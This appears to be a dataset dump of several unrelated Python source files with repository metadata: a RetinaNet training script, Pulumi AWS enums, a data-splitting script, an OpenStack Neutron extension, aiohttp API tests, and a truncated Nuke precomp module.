f1_max]) # if f1_max >= best_f1: # best_f1 = f1_max # print("current best = ", best_f1) # # results = sorted(results, key=lambda x:x[-1], reverse=True) # for r in results: # print(r) #[('snapshots\\resnet50_csv_44.h5', 0.05, 0.44536340852130324), ('snapshots\\resnet50_csv_48.h5', 0.05, 0.445054945054945), ('snapshots\\resnet50_csv_34.h5', 0.05, 0.437181855500821), ('snapshots\\resnet50_csv_49.h5', 0.0, 0.4327235488525811), ('snapshots\\resnet50_csv_45.h5', 0.05, 0.42369674185463657), ('snapshots\\resnet50_csv_28.h5', 0.0, 0.41797258297258294), ('snapshots\\resnet50_csv_22.h5', 0.1, 0.40782312925170067), ('snapshots\\resnet50_csv_30.h5', 0.05, 0.40745030745030747), ('snapshots\\resnet50_csv_50.h5', 0.1, 0.4013157894736842), ('snapshots\\resnet50_csv_37.h5', 0.0, 0.39436633627810097), ('snapshots\\resnet50_csv_47.h5', 0.0, 0.3908092403628118), ('snapshots\\resnet50_csv_41.h5', 0.2, 0.38839285714285715), ('snapshots\\resnet50_csv_35.h5', 0.15000000000000002, 0.38822228496141536), ('snapshots\\resnet50_csv_36.h5', 0.1, 0.38399981614267326), ('snapshots\\resnet50_csv_43.h5', 0.05, 0.3828025149453721), ('snapshots\\resnet50_csv_17.h5', 0.15000000000000002, 0.3746598639455782), ('snapshots\\resnet50_csv_21.h5', 0.05, 0.37316799237981496), ('snapshots\\resnet50_csv_29.h5', 0.0, 0.3672226582940869), ('snapshots\\resnet50_csv_32.h5', 0.1, 0.3669642857142857), ('snapshots\\resnet50_csv_39.h5', 0.05, 0.3659983291562239), ('snapshots\\resnet50_csv_33.h5', 0.05, 0.36450650157546705), ('snapshots\\resnet50_csv_46.h5', 0.1, 0.3637418137418137), ('snapshots\\resnet50_csv_42.h5', 0.0, 0.3635427827546054), ('snapshots\\resnet50_csv_25.h5', 0.05, 0.36262793405650545), ('snapshots\\resnet50_csv_11.h5', 0.05, 0.3579434337837699), ('snapshots\\resnet50_csv_27.h5', 0.05, 0.3495562586818953), ('snapshots\\resnet50_csv_40.h5', 0.0, 0.3492804814233386), ('snapshots\\resnet50_csv_31.h5', 0.05, 0.348015873015873), ('snapshots\\resnet50_csv_38.h5', 0.0, 0.3360606404724052), ('snapshots\\resnet50_csv_18.h5', 0.05, 0.3308032303830623), ('snapshots\\resnet50_csv_16.h5', 0.1, 0.32845804988662136), ('snapshots\\resnet50_csv_14.h5', 0.05, 0.32814818234986304), ('snapshots\\resnet50_csv_26.h5', 0.1, 0.3254329004329004), ('snapshots\\resnet50_csv_19.h5', 0.05, 0.3204281712685074), ('snapshots\\resnet50_csv_15.h5', 0.0, 0.3152310924369747), ('snapshots\\resnet50_csv_20.h5', 0.1, 0.29930213464696226), ('snapshots\\resnet50_csv_10.h5', 0.05, 0.2901406742663109), ('snapshots\\resnet50_csv_13.h5', 0.1, 0.27293083900226756), ('snapshots\\resnet50_csv_24.h5', 0.1, 0.2708245722531437), ('snapshots\\resnet50_csv_12.h5', 0.1, 0.2673262853528508), ('snapshots\\resnet50_csv_23.h5', 0.1, 0.2638221955448846), ('snapshots\\resnet50_csv_04.h5', 0.25, 0.24969474969474967), ('snapshots\\resnet50_csv_09.h5', 0.05, 0.24739891704177416), ('snapshots\\resnet50_csv_05.h5', 0.2, 0.24424342105263158), ('snapshots\\resnet50_csv_06.h5', 0.15000000000000002, 0.23761446886446885), ('snapshots\\resnet50_csv_07.h5', 0.15000000000000002, 0.233078231292517), ('snapshots\\resnet50_csv_03.h5', 0.15000000000000002, 0.21793958962895502), ('snapshots\\resnet50_csv_01.h5', 0.05, 0.19410188317751345), ('snapshots\\resnet50_csv_02.h5', 0.05, 0.19065212731754366), ('snapshots\\resnet50_csv_08.h5', 0.15000000000000002, 0.18758503401360543)]

103.652174

3,138

0.676594

from keras_retinanet.bin.train import train_main from keras_retinanet import models import glob import numpy as np from sklearn.metrics import f1_score import os if __name__ == '__main__': os.chdir("../") model_name = 'resnet101' train_main(0, None, ["csv", "data/trn1.csv", "data/classes.csv", "--val-annotations", "data/val1.csv"]) # model_name = 'resnet50' # h5s = glob.glob("run1_resnet_50/*.h5") # results = [] # best_f1 = 0 # for h5 in h5s: # y_true, y_pred = train_main(1, h5, ["csv", "data/trn1.csv", "data/classes.csv", # "--val-annotations", "data/val1.csv"]) # f1_max = 0 # th_max = 0 # pr_cnt_max = 0 # for th in np.linspace(0.0, 1.0, num=21): # for pr_cnt in range(1, 7): # y_pred_new = [] # for prd in y_pred: # ref_p = prd[(np.argsort(prd))[-pr_cnt]] # dec = (prd >= ref_p) & (prd >= th) # y_pred_new.append(dec) # f1_cur = f1_score(y_true, np.array(y_pred_new, dtype='int'), average='macro') # if f1_cur >= f1_max: # f1_max = f1_cur # th_max = th # pr_cnt_max = pr_cnt # results.append((h5, th_max, pr_cnt_max, f1_max)) # print([h5, th_max, pr_cnt_max, f1_max]) # if f1_max >= best_f1: # best_f1 = f1_max # print("current best = ", best_f1) # # results = sorted(results, key=lambda x:x[-1], reverse=True) # for r in results: # print(r) #[('snapshots\\resnet50_csv_44.h5', 0.05, 0.44536340852130324), ('snapshots\\resnet50_csv_48.h5', 0.05, 0.445054945054945), ('snapshots\\resnet50_csv_34.h5', 0.05, 0.437181855500821), ('snapshots\\resnet50_csv_49.h5', 0.0, 0.4327235488525811), ('snapshots\\resnet50_csv_45.h5', 0.05, 0.42369674185463657), ('snapshots\\resnet50_csv_28.h5', 0.0, 0.41797258297258294), ('snapshots\\resnet50_csv_22.h5', 0.1, 0.40782312925170067), ('snapshots\\resnet50_csv_30.h5', 0.05, 0.40745030745030747), ('snapshots\\resnet50_csv_50.h5', 0.1, 0.4013157894736842), ('snapshots\\resnet50_csv_37.h5', 0.0, 0.39436633627810097), ('snapshots\\resnet50_csv_47.h5', 0.0, 0.3908092403628118), ('snapshots\\resnet50_csv_41.h5', 0.2, 0.38839285714285715), ('snapshots\\resnet50_csv_35.h5', 0.15000000000000002, 0.38822228496141536), ('snapshots\\resnet50_csv_36.h5', 0.1, 0.38399981614267326), ('snapshots\\resnet50_csv_43.h5', 0.05, 0.3828025149453721), ('snapshots\\resnet50_csv_17.h5', 0.15000000000000002, 0.3746598639455782), ('snapshots\\resnet50_csv_21.h5', 0.05, 0.37316799237981496), ('snapshots\\resnet50_csv_29.h5', 0.0, 0.3672226582940869), ('snapshots\\resnet50_csv_32.h5', 0.1, 0.3669642857142857), ('snapshots\\resnet50_csv_39.h5', 0.05, 0.3659983291562239), ('snapshots\\resnet50_csv_33.h5', 0.05, 0.36450650157546705), ('snapshots\\resnet50_csv_46.h5', 0.1, 0.3637418137418137), ('snapshots\\resnet50_csv_42.h5', 0.0, 0.3635427827546054), ('snapshots\\resnet50_csv_25.h5', 0.05, 0.36262793405650545), ('snapshots\\resnet50_csv_11.h5', 0.05, 0.3579434337837699), ('snapshots\\resnet50_csv_27.h5', 0.05, 0.3495562586818953), ('snapshots\\resnet50_csv_40.h5', 0.0, 0.3492804814233386), ('snapshots\\resnet50_csv_31.h5', 0.05, 0.348015873015873), ('snapshots\\resnet50_csv_38.h5', 0.0, 0.3360606404724052), ('snapshots\\resnet50_csv_18.h5', 0.05, 0.3308032303830623), ('snapshots\\resnet50_csv_16.h5', 0.1, 0.32845804988662136), ('snapshots\\resnet50_csv_14.h5', 0.05, 0.32814818234986304), ('snapshots\\resnet50_csv_26.h5', 0.1, 0.3254329004329004), ('snapshots\\resnet50_csv_19.h5', 0.05, 0.3204281712685074), ('snapshots\\resnet50_csv_15.h5', 0.0, 0.3152310924369747), ('snapshots\\resnet50_csv_20.h5', 0.1, 0.29930213464696226), ('snapshots\\resnet50_csv_10.h5', 0.05, 0.2901406742663109), ('snapshots\\resnet50_csv_13.h5', 0.1, 0.27293083900226756), ('snapshots\\resnet50_csv_24.h5', 0.1, 0.2708245722531437), ('snapshots\\resnet50_csv_12.h5', 0.1, 0.2673262853528508), ('snapshots\\resnet50_csv_23.h5', 0.1, 0.2638221955448846), ('snapshots\\resnet50_csv_04.h5', 0.25, 0.24969474969474967), ('snapshots\\resnet50_csv_09.h5', 0.05, 0.24739891704177416), ('snapshots\\resnet50_csv_05.h5', 0.2, 0.24424342105263158), ('snapshots\\resnet50_csv_06.h5', 0.15000000000000002, 0.23761446886446885), ('snapshots\\resnet50_csv_07.h5', 0.15000000000000002, 0.233078231292517), ('snapshots\\resnet50_csv_03.h5', 0.15000000000000002, 0.21793958962895502), ('snapshots\\resnet50_csv_01.h5', 0.05, 0.19410188317751345), ('snapshots\\resnet50_csv_02.h5', 0.05, 0.19065212731754366), ('snapshots\\resnet50_csv_08.h5', 0.15000000000000002, 0.18758503401360543)]

0

15

88

27d6a355d2304d3fc689d470c15bce5dbf127caf

5,795

py

Python

sdk/python/pulumi_aws_native/customerprofiles/_enums.py

AaronFriel/pulumi-aws-native

5621690373ac44accdbd20b11bae3be1baf022d1

[ "Apache-2.0" ]

29

2021-09-30T19:32:07.000Z

2022-03-22T21:06:08.000Z

sdk/python/pulumi_aws_native/customerprofiles/_enums.py

AaronFriel/pulumi-aws-native

5621690373ac44accdbd20b11bae3be1baf022d1

[ "Apache-2.0" ]

232

2021-09-30T19:26:26.000Z

2022-03-31T23:22:06.000Z

sdk/python/pulumi_aws_native/customerprofiles/_enums.py

AaronFriel/pulumi-aws-native

5621690373ac44accdbd20b11bae3be1baf022d1

[ "Apache-2.0" ]

4

2021-11-10T19:42:01.000Z

2022-02-05T10:15:49.000Z

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** __all__ = [ 'IntegrationConnectorType', 'IntegrationMarketoConnectorOperator', 'IntegrationOperatorPropertiesKeys', 'IntegrationS3ConnectorOperator', 'IntegrationSalesforceConnectorOperator', 'IntegrationScheduledTriggerPropertiesDataPullMode', 'IntegrationServiceNowConnectorOperator', 'IntegrationTaskType', 'IntegrationTriggerType', 'IntegrationZendeskConnectorOperator', 'ObjectTypeFieldContentType', 'ObjectTypeKeyStandardIdentifiersItem', ]

30.025907

80

0.718033

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** from enum import Enum __all__ = [ 'IntegrationConnectorType', 'IntegrationMarketoConnectorOperator', 'IntegrationOperatorPropertiesKeys', 'IntegrationS3ConnectorOperator', 'IntegrationSalesforceConnectorOperator', 'IntegrationScheduledTriggerPropertiesDataPullMode', 'IntegrationServiceNowConnectorOperator', 'IntegrationTaskType', 'IntegrationTriggerType', 'IntegrationZendeskConnectorOperator', 'ObjectTypeFieldContentType', 'ObjectTypeKeyStandardIdentifiersItem', ] class IntegrationConnectorType(str, Enum): SALESFORCE = "Salesforce" MARKETO = "Marketo" SERVICE_NOW = "ServiceNow" ZENDESK = "Zendesk" S3 = "S3" class IntegrationMarketoConnectorOperator(str, Enum): PROJECTION = "PROJECTION" LESS_THAN = "LESS_THAN" GREATER_THAN = "GREATER_THAN" BETWEEN = "BETWEEN" ADDITION = "ADDITION" MULTIPLICATION = "MULTIPLICATION" DIVISION = "DIVISION" SUBTRACTION = "SUBTRACTION" MASK_ALL = "MASK_ALL" MASK_FIRST_N = "MASK_FIRST_N" MASK_LAST_N = "MASK_LAST_N" VALIDATE_NON_NULL = "VALIDATE_NON_NULL" VALIDATE_NON_ZERO = "VALIDATE_NON_ZERO" VALIDATE_NON_NEGATIVE = "VALIDATE_NON_NEGATIVE" VALIDATE_NUMERIC = "VALIDATE_NUMERIC" NO_OP = "NO_OP" class IntegrationOperatorPropertiesKeys(str, Enum): VALUE = "VALUE" VALUES = "VALUES" DATA_TYPE = "DATA_TYPE" UPPER_BOUND = "UPPER_BOUND" LOWER_BOUND = "LOWER_BOUND" SOURCE_DATA_TYPE = "SOURCE_DATA_TYPE" DESTINATION_DATA_TYPE = "DESTINATION_DATA_TYPE" VALIDATION_ACTION = "VALIDATION_ACTION" MASK_VALUE = "MASK_VALUE" MASK_LENGTH = "MASK_LENGTH" TRUNCATE_LENGTH = "TRUNCATE_LENGTH" MATH_OPERATION_FIELDS_ORDER = "MATH_OPERATION_FIELDS_ORDER" CONCAT_FORMAT = "CONCAT_FORMAT" SUBFIELD_CATEGORY_MAP = "SUBFIELD_CATEGORY_MAP" class IntegrationS3ConnectorOperator(str, Enum): PROJECTION = "PROJECTION" LESS_THAN = "LESS_THAN" GREATER_THAN = "GREATER_THAN" BETWEEN = "BETWEEN" LESS_THAN_OR_EQUAL_TO = "LESS_THAN_OR_EQUAL_TO" GREATER_THAN_OR_EQUAL_TO = "GREATER_THAN_OR_EQUAL_TO" EQUAL_TO = "EQUAL_TO" NOT_EQUAL_TO = "NOT_EQUAL_TO" ADDITION = "ADDITION" MULTIPLICATION = "MULTIPLICATION" DIVISION = "DIVISION" SUBTRACTION = "SUBTRACTION" MASK_ALL = "MASK_ALL" MASK_FIRST_N = "MASK_FIRST_N" MASK_LAST_N = "MASK_LAST_N" VALIDATE_NON_NULL = "VALIDATE_NON_NULL" VALIDATE_NON_ZERO = "VALIDATE_NON_ZERO" VALIDATE_NON_NEGATIVE = "VALIDATE_NON_NEGATIVE" VALIDATE_NUMERIC = "VALIDATE_NUMERIC" NO_OP = "NO_OP" class IntegrationSalesforceConnectorOperator(str, Enum): PROJECTION = "PROJECTION" LESS_THAN = "LESS_THAN" GREATER_THAN = "GREATER_THAN" CONTAINS = "CONTAINS" BETWEEN = "BETWEEN" LESS_THAN_OR_EQUAL_TO = "LESS_THAN_OR_EQUAL_TO" GREATER_THAN_OR_EQUAL_TO = "GREATER_THAN_OR_EQUAL_TO" EQUAL_TO = "EQUAL_TO" NOT_EQUAL_TO = "NOT_EQUAL_TO" ADDITION = "ADDITION" MULTIPLICATION = "MULTIPLICATION" DIVISION = "DIVISION" SUBTRACTION = "SUBTRACTION" MASK_ALL = "MASK_ALL" MASK_FIRST_N = "MASK_FIRST_N" MASK_LAST_N = "MASK_LAST_N" VALIDATE_NON_NULL = "VALIDATE_NON_NULL" VALIDATE_NON_ZERO = "VALIDATE_NON_ZERO" VALIDATE_NON_NEGATIVE = "VALIDATE_NON_NEGATIVE" VALIDATE_NUMERIC = "VALIDATE_NUMERIC" NO_OP = "NO_OP" class IntegrationScheduledTriggerPropertiesDataPullMode(str, Enum): INCREMENTAL = "Incremental" COMPLETE = "Complete" class IntegrationServiceNowConnectorOperator(str, Enum): PROJECTION = "PROJECTION" LESS_THAN = "LESS_THAN" GREATER_THAN = "GREATER_THAN" CONTAINS = "CONTAINS" BETWEEN = "BETWEEN" LESS_THAN_OR_EQUAL_TO = "LESS_THAN_OR_EQUAL_TO" GREATER_THAN_OR_EQUAL_TO = "GREATER_THAN_OR_EQUAL_TO" EQUAL_TO = "EQUAL_TO" NOT_EQUAL_TO = "NOT_EQUAL_TO" ADDITION = "ADDITION" MULTIPLICATION = "MULTIPLICATION" DIVISION = "DIVISION" SUBTRACTION = "SUBTRACTION" MASK_ALL = "MASK_ALL" MASK_FIRST_N = "MASK_FIRST_N" MASK_LAST_N = "MASK_LAST_N" VALIDATE_NON_NULL = "VALIDATE_NON_NULL" VALIDATE_NON_ZERO = "VALIDATE_NON_ZERO" VALIDATE_NON_NEGATIVE = "VALIDATE_NON_NEGATIVE" VALIDATE_NUMERIC = "VALIDATE_NUMERIC" NO_OP = "NO_OP" class IntegrationTaskType(str, Enum): ARITHMETIC = "Arithmetic" FILTER = "Filter" MAP = "Map" MASK = "Mask" MERGE = "Merge" TRUNCATE = "Truncate" VALIDATE = "Validate" class IntegrationTriggerType(str, Enum): SCHEDULED = "Scheduled" EVENT = "Event" ON_DEMAND = "OnDemand" class IntegrationZendeskConnectorOperator(str, Enum): PROJECTION = "PROJECTION" GREATER_THAN = "GREATER_THAN" ADDITION = "ADDITION" MULTIPLICATION = "MULTIPLICATION" DIVISION = "DIVISION" SUBTRACTION = "SUBTRACTION" MASK_ALL = "MASK_ALL" MASK_FIRST_N = "MASK_FIRST_N" MASK_LAST_N = "MASK_LAST_N" VALIDATE_NON_NULL = "VALIDATE_NON_NULL" VALIDATE_NON_ZERO = "VALIDATE_NON_ZERO" VALIDATE_NON_NEGATIVE = "VALIDATE_NON_NEGATIVE" VALIDATE_NUMERIC = "VALIDATE_NUMERIC" NO_OP = "NO_OP" class ObjectTypeFieldContentType(str, Enum): """ The content type of the field. Used for determining equality when searching. """ STRING = "STRING" NUMBER = "NUMBER" PHONE_NUMBER = "PHONE_NUMBER" EMAIL_ADDRESS = "EMAIL_ADDRESS" NAME = "NAME" class ObjectTypeKeyStandardIdentifiersItem(str, Enum): PROFILE = "PROFILE" UNIQUE = "UNIQUE" SECONDARY = "SECONDARY" LOOKUP_ONLY = "LOOKUP_ONLY" NEW_ONLY = "NEW_ONLY"

0

4,820

0

299

2d12ec7f50c3d061e4b79a9ffffcc034bd787b1d

2,104

py

Python

Dataset/split_data.py

atmacvit/meronymnet

47e1a7caadc0f770439bb26a93b885f790f62804

[ "MIT" ]

1

2021-11-02T05:13:12.000Z

Dataset/split_data.py

atmacvit/meronymnet

47e1a7caadc0f770439bb26a93b885f790f62804

[ "MIT" ]

1

2021-12-17T14:29:18.000Z

Dataset/split_data.py

atmacvit/meronymnet

47e1a7caadc0f770439bb26a93b885f790f62804

[ "MIT" ]

null

import pickle objects = ['cow', 'dog', 'person', 'horse', 'sheep', 'aeroplane', 'bird', 'bicycle', 'cat', 'motorbike', 'car'] for object_name in objects: with open(object_name + '_part_separated_labels', 'rb') as f: label = pickle.load(f) with open(object_name + '_part_separated_bbx', 'rb') as f: box = pickle.load(f) with open(object_name + '_part_separated_masks', 'rb') as f: mask = pickle.load(f) with open(object_name + '_images', 'rb') as f: o_images = pickle.load(f) size = len(label) train_split = int((75/100)*size) validation_split = int((10/100)*size) test_split = int((15/100)*size) #train with open(object_name+'_train_label', 'wb') as f: pickle.dump(label[0:train_split], f) with open(object_name+'_train_bbx', 'wb') as f: pickle.dump(box[0:train_split], f) with open(object_name+'_train_masks', 'wb') as f: pickle.dump(mask[0:train_split], f) with open(object_name+'_train_images', 'wb') as f: pickle.dump(o_images[0:train_split], f) #vaidation with open(object_name+'_validation_label', 'wb') as f: pickle.dump(label[train_split:train_split+validation_split], f) with open(object_name+'_validation_bbx', 'wb') as f: pickle.dump(box[train_split:train_split+validation_split], f) with open(object_name+'_validation_masks', 'wb') as f: pickle.dump(mask[train_split:train_split+validation_split], f) with open(object_name+'_validation_images', 'wb') as f: pickle.dump(o_images[train_split:train_split+validation_split], f) #test with open(object_name+'_test_label', 'wb') as f: pickle.dump(label[train_split+validation_split::], f) with open(object_name+'_test_bbx', 'wb') as f: pickle.dump(box[train_split+validation_split::], f) with open(object_name+'_test_masks', 'wb') as f: pickle.dump(mask[train_split+validation_split::], f) with open(object_name+'_test_images', 'wb') as f: pickle.dump(o_images[train_split+validation_split::], f)

41.254902

112

0.661122

import numpy as np import pickle objects = ['cow', 'dog', 'person', 'horse', 'sheep', 'aeroplane', 'bird', 'bicycle', 'cat', 'motorbike', 'car'] for object_name in objects: with open(object_name + '_part_separated_labels', 'rb') as f: label = pickle.load(f) with open(object_name + '_part_separated_bbx', 'rb') as f: box = pickle.load(f) with open(object_name + '_part_separated_masks', 'rb') as f: mask = pickle.load(f) with open(object_name + '_images', 'rb') as f: o_images = pickle.load(f) size = len(label) train_split = int((75/100)*size) validation_split = int((10/100)*size) test_split = int((15/100)*size) #train with open(object_name+'_train_label', 'wb') as f: pickle.dump(label[0:train_split], f) with open(object_name+'_train_bbx', 'wb') as f: pickle.dump(box[0:train_split], f) with open(object_name+'_train_masks', 'wb') as f: pickle.dump(mask[0:train_split], f) with open(object_name+'_train_images', 'wb') as f: pickle.dump(o_images[0:train_split], f) #vaidation with open(object_name+'_validation_label', 'wb') as f: pickle.dump(label[train_split:train_split+validation_split], f) with open(object_name+'_validation_bbx', 'wb') as f: pickle.dump(box[train_split:train_split+validation_split], f) with open(object_name+'_validation_masks', 'wb') as f: pickle.dump(mask[train_split:train_split+validation_split], f) with open(object_name+'_validation_images', 'wb') as f: pickle.dump(o_images[train_split:train_split+validation_split], f) #test with open(object_name+'_test_label', 'wb') as f: pickle.dump(label[train_split+validation_split::], f) with open(object_name+'_test_bbx', 'wb') as f: pickle.dump(box[train_split+validation_split::], f) with open(object_name+'_test_masks', 'wb') as f: pickle.dump(mask[train_split+validation_split::], f) with open(object_name+'_test_images', 'wb') as f: pickle.dump(o_images[train_split+validation_split::], f)

0

-3

22

ae765890a283e1cafc55cfc222fa3eddff1f2a46

2,302

py

Python

neutron/extensions/providernet.py

MultipleCrashes/neutron

fb268d7e91b22192a6e42f78b0057b4ebd3033ef

[ "Apache-2.0" ]

1

2019-06-02T06:15:39.000Z

neutron/extensions/providernet.py

MultipleCrashes/neutron

fb268d7e91b22192a6e42f78b0057b4ebd3033ef

[ "Apache-2.0" ]

null

neutron/extensions/providernet.py

MultipleCrashes/neutron

fb268d7e91b22192a6e42f78b0057b4ebd3033ef

[ "Apache-2.0" ]

null

# Copyright (c) 2012 OpenStack Foundation. # All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from neutron_lib.api.definitions import provider_net from neutron_lib.api import validators from neutron_lib import exceptions as n_exc from neutron._i18n import _ def _raise_if_updates_provider_attributes(attrs): """Raise exception if provider attributes are present. This method is used for plugins that do not support updating provider networks. """ if any(validators.is_attr_set(attrs.get(a)) for a in provider_net.ATTRIBUTES): msg = _("Plugin does not support updating provider attributes") raise n_exc.InvalidInput(error_message=msg)

32.885714

78

0.728931

# Copyright (c) 2012 OpenStack Foundation. # All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from neutron_lib.api.definitions import provider_net from neutron_lib.api import extensions from neutron_lib.api import validators from neutron_lib import exceptions as n_exc from neutron._i18n import _ def _raise_if_updates_provider_attributes(attrs): """Raise exception if provider attributes are present. This method is used for plugins that do not support updating provider networks. """ if any(validators.is_attr_set(attrs.get(a)) for a in provider_net.ATTRIBUTES): msg = _("Plugin does not support updating provider attributes") raise n_exc.InvalidInput(error_message=msg) class Providernet(extensions.ExtensionDescriptor): """Extension class supporting provider networks. This class is used by neutron's extension framework to make metadata about the provider network extension available to clients. No new resources are defined by this extension. Instead, the existing network resource's request and response messages are extended with attributes in the provider namespace. With admin rights, network dictionaries returned will also include provider attributes. """ @classmethod def get_name(cls): return provider_net.NAME @classmethod def get_alias(cls): return provider_net.ALIAS @classmethod def get_description(cls): return provider_net.DESCRIPTION @classmethod def get_updated(cls): return provider_net.UPDATED_TIMESTAMP def get_extended_resources(self, version): if version == "2.0": return provider_net.RESOURCE_ATTRIBUTE_MAP else: return {}

0

220

0

787

0

17

45

8d7f3685a45adea2ebce073ffebe24607e61fa6d

3,181

py

Python

tests/test_consumer_api.py

tysongg/essential-cosmic

1bd21b4ed246dfda983c6e49b0967a4a1a289d63

[ "MIT" ]

null

tests/test_consumer_api.py

tysongg/essential-cosmic

1bd21b4ed246dfda983c6e49b0967a4a1a289d63

[ "MIT" ]

9

2020-01-27T02:08:04.000Z

2020-01-27T02:46:53.000Z

tests/test_consumer_api.py

tysongg/essential-cosmic

1bd21b4ed246dfda983c6e49b0967a4a1a289d63

[ "MIT" ]

null

import os import sys # Workaround so we don't have to create a setup.py file for the project and # install an editable version sys.path.append(os.path.join(os.path.dirname(__file__), os.pardir))

31.186275

85

0.607042

import pytest import asyncio import os import sys # Workaround so we don't have to create a setup.py file for the project and # install an editable version sys.path.append(os.path.join(os.path.dirname(__file__), os.pardir)) from essential_cosmic.app import make_app class TestConsumer: @pytest.fixture(scope="function") async def cli(self, aiohttp_client): client = await aiohttp_client(make_app()) return client @pytest.fixture(scope="function") async def topic(self, cli): resp = await cli.post("/topic", json={"title": "Test Topic"}) topic = await resp.json() return topic @pytest.fixture(scope="function") async def messages(self, cli, topic): resps = await asyncio.gather( *[ cli.post( "/topic/%s/message" % topic["id"], json={"value": "Test Message"} ) for _ in range(3) ] ) messages = await asyncio.gather(*[resp.json() for resp in resps]) return messages async def test_topic_list(self, cli, topic): resp = await cli.get("/topic") assert resp.status == 200 body_json = await resp.json() assert type(body_json) == list assert len(body_json) == 1 async def test_topic_detail(self, cli, topic): resp = await cli.get("/topic/%s" % topic["id"]) assert resp.status == 200 resp_json = await resp.json() assert resp_json == topic async def test_topic_detail_missing(self, cli): resp = await cli.get("/topic/missing") assert resp.status == 404 resp_json = await resp.json() assert resp_json["message"] == "Topic does not exist" async def test_topic_message_empty(self, cli, topic): resp = await cli.get("/topic/%s/message" % topic["id"]) assert resp.status == 200 resp_json = await resp.json() assert type(resp_json) == list assert len(resp_json) == 0 async def test_topic_message(self, cli, topic, messages): resp = await cli.get("/topic/%s/message" % topic["id"]) assert resp.status == 200 resp_json = await resp.json() assert resp_json == messages assert len(resp_json) == 3 async def test_topic_message_offset(self, cli, topic, messages): resp = await cli.get("/topic/%s/message?offset=1" % topic["id"]) assert resp.status == 200 resp_json = await resp.json() assert resp_json == messages[1:] assert len(resp_json) == 2 async def test_topic_message_count(self, cli, topic, messages): resp = await cli.get("/topic/%s/message?count=2" % topic["id"]) assert resp.status == 200 resp_json = await resp.json() assert resp_json == messages[:2] assert len(resp_json) == 2 async def test_topic_message_offset_and_count(self, cli, topic, messages): resp = await cli.get("/topic/%s/message?offset=1&count=1" % topic["id"]) assert resp.status == 200 resp_json = await resp.json() assert resp_json == messages[1:2] assert len(resp_json) == 1

0

690

1,905

-2

0

5

386

d04c8eff07c31a44f0aef8503a211c69268b39fd

8,889

py

Python

nuke_stubs/nukescripts/precomp.py

sisoe24/Nuke-Python-Stubs

79c53cf5cb7b38e15a34fd04f672b143d9d7dc85

[ "MIT" ]

1

2022-01-12T01:29:16.000Z

nuke_stubs/nukescripts/precomp.py

sisoe24/Nuke-Python-Stubs

79c53cf5cb7b38e15a34fd04f672b143d9d7dc85

[ "MIT" ]

null

nuke_stubs/nukescripts/precomp.py

sisoe24/Nuke-Python-Stubs

79c53cf5cb7b38e15a34fd04f672b143d9d7dc85

[ "MIT" ]

null

28.399361

167

0.623242

# Copyright (c) 2009 The Foundry Visionmongers Ltd. All Rights Reserved. import nuke import os, re, sys, math, time from nukescripts import execute_panel from nukescripts import panels class PrecompOptionsDialog( panels.PythonPanel ): def __init__( self ): panels.PythonPanel.__init__( self, "Precomp Nodes", "uk.co.thefoundry.PrecompOptionsDialog" ) self.scriptPath = nuke.File_Knob( "script", "Precomp script path " ) self.renderPath = nuke.File_Knob( "render", "Precomp render path " ) self.channels = nuke.Channel_Knob( "channels", "Channels " ) self.origNodes = nuke.Enumeration_Knob( "orig", "Original nodes ", ["add backdrop", "delete", "no change" ] ) self.addKnob ( self.scriptPath ) self.addKnob ( self.renderPath ) self.addKnob ( self.channels ) self.addKnob ( self.origNodes ) self.channels.setValue('all') defaultDir = nuke.Root()['name'].value() if defaultDir and defaultDir != "": defaultDir = os.path.dirname( defaultDir ) if not defaultDir.endswith("/"): defaultDir += "/" else: defaultDir = "" basename = findNextName("Precomp") self.scriptPath.setValue( defaultDir + basename + "_v01.nk" ) self.renderPath.setValue( defaultDir + basename + ".####.exr" ) self.setMinimumSize( 420, 50 ) class PrecompOptions: def __init__(self): self.scriptPath = "" self.renderPath = "" self.channels = "" self.addBackdrop = False self.delete = False def askUserForOptions(self): p = PrecompOptionsDialog() result = p.showModalDialog() if result: self.scriptPath = p.scriptPath.value() self.renderPath = p.renderPath.value() self.channels = p.channels.value() if p.origNodes.value() == "delete": self.delete = True elif p.origNodes.value() == "add backdrop": self.addBackdrop = True if nuke.env['nc']: nukeExt = ".nknc" if nuke.env['indie']: nukeExt = ".nkind" else: nukeExt = ".nk" (root, ext) = os.path.splitext(self.scriptPath) if not ext: self.scriptPath += nukeExt elif ext == ".nk" and ext != nukeExt: self.scriptPath = self.scriptPath[0:-3] + nukeExt (root,ext) = os.path.splitext(self.renderPath) if not ext: self.renderPath += ".exr" if os.path.exists(self.scriptPath): if not nuke.ask("Overwrite existing " + self.scriptPath + " ?"): return False return True else: return False def precomp_open(precomp): precomp.executePythonCallback(nuke.PRECOMP_CALLBACK_OPENED) nuke.Root().setModified( True ) nuke.scriptOpen(precomp["file"].evaluate()) def precomp_render(precomp): reading = precomp["reading"].getValue() precomp["reading"].setValue( False ) try: finalNode = None if precomp['useOutput'].value() == True: finalNode = nuke.toNode( precomp['output'].value() ) else: if precomp.output() and precomp.output().input(0): finalNode = precomp.output().input(0) execute_panel( [ finalNode ] ) except RuntimeError as e: if e.message[0:9] != "Cancelled": # TO DO: change this to an exception type raise return precomp["reading"].setValue( True ) def findNextName(name): i = 1 while nuke.toNode ( name + str(i) ) != None: i += 1 return name + str(i) def precomp_copyToGroup(precomp): ## group context is set to precomp, so back up one level. nuke.endGroup() g = nuke.nodes.Group() with precomp: nuke.selectAll() nuke.nodeCopy ( '%clipboard%' ) with g: nuke.nodePaste( '%clipboard%' ) for k in ['label', 'icon', 'indicators', 'tile_color', 'disable']: v = precomp[k].value() if v: g[k].setValue( v ) for k in precomp.allKnobs(): if isinstance( k, 